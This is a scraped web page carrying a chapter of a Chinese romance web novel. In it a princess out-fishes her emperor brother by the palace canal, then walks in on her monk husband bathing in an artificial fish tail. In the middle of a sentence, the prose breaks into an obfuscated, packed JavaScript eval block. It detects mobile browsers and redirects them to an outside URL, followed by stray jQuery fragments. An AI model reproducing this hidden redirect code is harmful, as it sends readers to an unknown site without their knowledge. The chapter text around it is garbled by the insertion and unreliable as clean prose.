默认冷灰
24号文字
方正启体

20. 深海美男鲛(1)

作者:梅燃本书字数:K更新时间:
    气序清和。


    春日的白昼,一日比一日长,上京城花光满路,箫鼓喧空,清明刚过,正是垂钓的好时节。


    斜阳御柳,不觉已是黄昏。


    官家的鱼篓里跳蹦着三尾鲤鱼,其中一条尾巴在斜阳余晖下红光如血,晶莹闪灼,极是漂亮。


    这么漂亮,官家都不忍心吃了,于是拿来献宝,将这条漂亮的红尾鲤鱼送给他今日一条也没钓到,正抱着膝盖蹲在八骨碧玉荷叶伞下生闷气的阿姐。


    萧灵鹤没有一点狩猎的乐趣,看着空空如也的鱼篓就来气,把小皇帝的献宝更加看作是一种挑衅,她骨气上来,一推他钓竿,道:“官家的窝子打得多,把我窝里的鱼都抢夺了,你离远些,今晚我回去之时一定能钓到一条。”


    阿姐生气的时候虽然很可爱,但常常不讲道理,官家心想自己哪里抢了她的窝,分明是阿姐舍不得鱼饵,不肯往里下。


    俗话说,舍不得孩子套不着狼。


    阿姐总是不肯付出,却一味只图回报。


    实在太没天理。


    但小皇帝能说什么重话?自己的姐姐,总得哄着顺着才行,于是他悄悄把自己的钓位挪开一点儿,距离皇姐远些。


    “阿姐平日也不爱吃鱼,今日怎么馋嘴了?”


    官家困惑地问。


    萧灵鹤哼笑一声,自然是为了家里那位死要面子活受罪的大师。


    不知怎的,他突然不排斥吃肉了。


    想来是犯了色戒、开了荤之后知道顿顿有肉吃的好处了。萧灵鹤为了讨好他,打听了全上京城最好的食材,其中就有一味,御沟里的稻花鱼。


    这时节虽无稻花,但也有鱼,肉质肥美,煲汤尤鲜。


    可惜御沟是不能让人随意捕捞的,先皇在世时就有御旨了,据说是为了保护鱼苗,粗罟不入污池。


    想吃鱼只能放钓竿去垂纶,且一人仅限一竿,多了还不行。


    萧灵鹤和自己的皇帝弟弟在这坐了一个时辰了,官家的窝子发起来之后连上了三条肥鲤,而她这边始终门前冷落,迄今为止还没开张。


    眼瞅着弟弟的鱼,萧灵鹤心里也馋,但不是自己钓上来的鱼,吃着不会香,城阳公主胜负欲一上来,今天非要和官家分个胜负不可。


    她不肯回答,只是指使。


    “官家再挪远些。”


    城阳公主蹬鼻子上脸,直接使唤皇帝弟弟。左右两侧宦官,侍奉喜怒无常的小皇帝久了,都心惊肉跳。


    可官家呢,分明无一点怒恚之意,反倒腆着脸,把钓台挪走之后,自己一个人屁颠地跑回来,拽着阿姐的袖子说:“阿姐,钓鱼无聊,朕给你讲个笑话吧。”


    萧灵鹤等上鱼也浮躁不耐烦,转头幽幽一笑,“好啊,官家倒是说一个,要是不好笑,你把鱼篓里的鱼都给我,今晚光着手回去给你的皇后交差。”


    “呃。”


    谁都知道小皇帝怕老婆。


    堂堂大雍天子,竟然惧内。


    这倒也不怪官家,皇后高氏出身显贵,性格专横跋扈,且善妒,当初官家成亲时,还是个十四岁的半大孩子,而高皇后则足足长了官家四岁,这一对夫妇不似夫妇,倒似姐弟,官家就是在城阳公主面前,都不如在皇后跟前乖巧,简直说不上来话啊。


    老鼠见了猫,不外如是。


    萧灵鹤得胜,搓着钓竿探了探鱼情,口中戏谑:“老弟啊,我们萧家怎么会有你这么没出息的孩子,高氏是豺狼么,你怕她什么?”


    官家乌圆的眼珠轻滚,喉咙里艰难吐出几个字来:“胜似豺狼。”


    萧灵鹤笑他:“说到底还是你自己不争气,没点天子的魄力,压不住人。我听说,你前两日终于和她圆房了?不会连洞房都是她在上边吧!”


    官家登时羞得满脸红晕,小声警告:“阿姐,这还有外人在呢,你能不能给朕留点儿面子!”


    萧灵鹤不在意:“姐姐这不是为你终于长大了欣慰么,十六了,是该成为男子汉了,别老让母后操心。”


    官家登时把眼珠瞪起来,为这倒打一耙的姐姐,很想质问一句,到底是谁整日让母后操心,谁知姐姐轻飘飘一个眼神横过来,他便打了退堂鼓,不敢继续造次,生怕挨捶。


    萧灵鹤道:“你活得像是高氏的童养夫。”


    “……”


    阿姐上不来鱼是有道理的。


    鱼都被她的嘴毒死了。


    暮色穿透柳梢,洒下黯淡蓝辉,鱼漂沿着水面,忽然不轻不重地震荡起来,萧灵鹤“哇”一声,惊喜地提竿,顿时捕获了一条银光闪闪的白条。


    “开张了!”


    萧灵鹤惊喜过望,将巴掌长的白条从鱼钩里摘下来,扔进自己的鱼篓。


    这时候终于有了兴致,等把鱼钩甩入水里,萧灵鹤胳膊肘轻轻平推了一下弟弟:“把你的笑话讲来听听,我不要你的鱼了。”


    官家:“哦。”


    他还是讲起来,但少了绘声绘色,听起来无聊:“话说,有一个挖矿的老汉,每天就想着从地里挖出金子,他没日没夜地在地里挖,也不管家里,挖死了老母亲,挖走了妻子,还在挖。有一天,他从地里挖出来一块黄澄澄的东西,牙口一咬,软硬适中,原来,这是一块神金。”


    “啊?”


    萧灵鹤等鱼咬钩的间隙里,匪夷所思地回眸,发出了一声煞有介事的惊呼。


    官家继续讲故事:“老汉欢喜地抱着金子去市场上卖,等卖了金子,就娶二房,生儿子。可别人都说,他手里拿的是一块臭砖头,老汉不信,非说自己怀里的东西是金子。”


    萧灵鹤问:“那到底是臭砖头还是金子?”


    官家道:“他见别人不信,就说别人眼瞎,看不清这是一块金子,于是自己啃了一口。结果发现,这确实是一块粪坑里的臭石头,老汉吃了满嘴大粪,气急之下,口吐白沫。买主是一个心善之人,见老汉倒在地上垂垂欲死,就用双倍买金子的钱,问他买了这块臭石头。老汉欢天喜地。谁知,这石头在他手里的时候是一块臭石头,可到了买家的手里,立刻变成了一块真真正正的金子!老汉傻了眼,这才后悔,可后悔也没用了。买家用自己的善心,得到了好报,老汉为了挖金家破人亡,后来就疯了。神金的故事一直流传了下来。”


    萧灵鹤品评道:“这故事很无聊,不会是你杜撰的吧?”


    官家摇头:“这是《古今奇闻通考》里记载的事迹,可不是朕杜撰的,再说不管是否朕杜撰,现在,人人都知道‘神金’的典故,以前用它来指代能辨善恶,现在都用它来代指那些失心疯的人。”


    萧灵鹤又上了一条鱼,这回,是一条白白胖胖的肥美鮰鱼。


    今晚总算能让家里美艳绝伦的大和尚一饱口腹之欲了!


    她娴熟地运用钓竿,把这条足有三斤重的鮰鱼从


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15809621|175161||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    御沟里钓上来,用抄网一引,把大鮰鱼接入鱼篓。


    “御沟里竟然有江团,官家,你那几尾土鲤鱼自己留着吃吧,阿姐就不陪了!”


    过足了钓瘾的城阳公主殿下,抄起自己的鱼篓,将鱼竿抛给刘毋庸,鱼篓扔给竹桃,主仆几人风风火火趁着夜幕降临往家赶。


    这鱼吃新鲜的最好,过了夜可就失了风味了,鮰鱼一入公主府便进了公主的庖厨,公主呢,一落地儿,便头也没回地钻进了驸马的泻玉阁。


    在萧灵鹤的想象之中,美人大师,此刻应当正对月拨弄着他的檀木珠,念着他的佛经,长吁短叹地感慨自己以身破戒,愧对佛祖。


    可事实上,当萧灵鹤靠近寝房,屋内没有诵经的声音,却唯有一串伶仃的水声。


    叮咚,像是溪流沿着高处的河道冲刷下来,撞向潭中布满苔痕的青石,溅起朵朵珍珠般的水花。


    佛子在沐浴。


    昨日,他教她练箭术,拉开那把五力射马弓时,分明还好好的,可到了晚上后,他却突然又欲拒还迎起来,说什么也不肯留她过夜。


    萧灵鹤心想,定是前日他被她手拿把掐了一回,肾虚了,供给不上,怕她发现。她心里这样认定,嘴上还是给这个男人留了点面子,纵他一晚,没再过来。


    但今夜说什么也不会了,用鮰鱼汤照他肚里灌下去,先大补一番,若还不行,再喂他点儿苁蓉肉桂,连着鹿鞭汤一起灌。年纪轻轻,总不至于就扶不起来了。


    萧灵鹤假模假式地停在谢寒商的门前,敲敲门,笃笃笃。


    “大师,你在沐浴么?”


    不等回音,她道。


    “那我进来了啊。”


    将门推开。


    此时,正有一弯皓月无垠,皎皎清晖倏地扑入舍内。


    寝房中很是黯淡,只有一灯如豆,擎在香案上海兽纹的铜盘里,烛花随细细凉风轻盈地摇曳。


    正房内不见人,但隔了一扇檀木山水图屏风,却能听见不绝如缕的水声,侧目望去,那水声起落之处,灯火葳蕤,雪白绣袍搭在高处,衣带垂落入宫灯桔红的光影里,渗出净房内若隐若无的似白梨般清瘦孤高的身影。


    他在浴桶里,享受着沐浴呢。


    但这不是给他享受的,美人出浴,是给她看的。


    城阳公主忽地血脉贲张,不再打草惊蛇,胸中怀着炙烫的火焰,纤纤作细步,鬼影似的飞快飘进了他沐浴的净房。


    “大师你——”


    萧灵鹤正要说话,笑意忽地顿在了唇边,话音戛然而止。


    她看见了什么?


    眼前这个谪仙般面貌的男人,上身赤露于水外,双臂平展徜徉于桶中,可那桶中,却不是意想之中的不挂片缕的笔直双腿,如玉、如竹节般蜷曲着,而是什么?因为她的不速造访而受惊的水面跌宕着,热气淋漓潋滟间,只看见一条银蓝色的漂亮鱼尾,正于水中优容盘叠。


    在她到来之后,那条美丽漂亮的大尾巴,像是感知到了某种信号,激动地摇了起来,鱼尾用鲛绡制成,饰以琉璃、饰以珍珠,真真做到了活灵活现,波光粼粼的质感无与伦比。


    漂亮尾巴一甩,一瓢热水泼到公主的脸上。


    萧灵鹤攥紧粉拳,心无杂念地闭上了眼:不气。不气。自己的男人,自己受着。


    耳朵里却突兀传来一道咬牙切齿的美好声音:


    “负心人。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)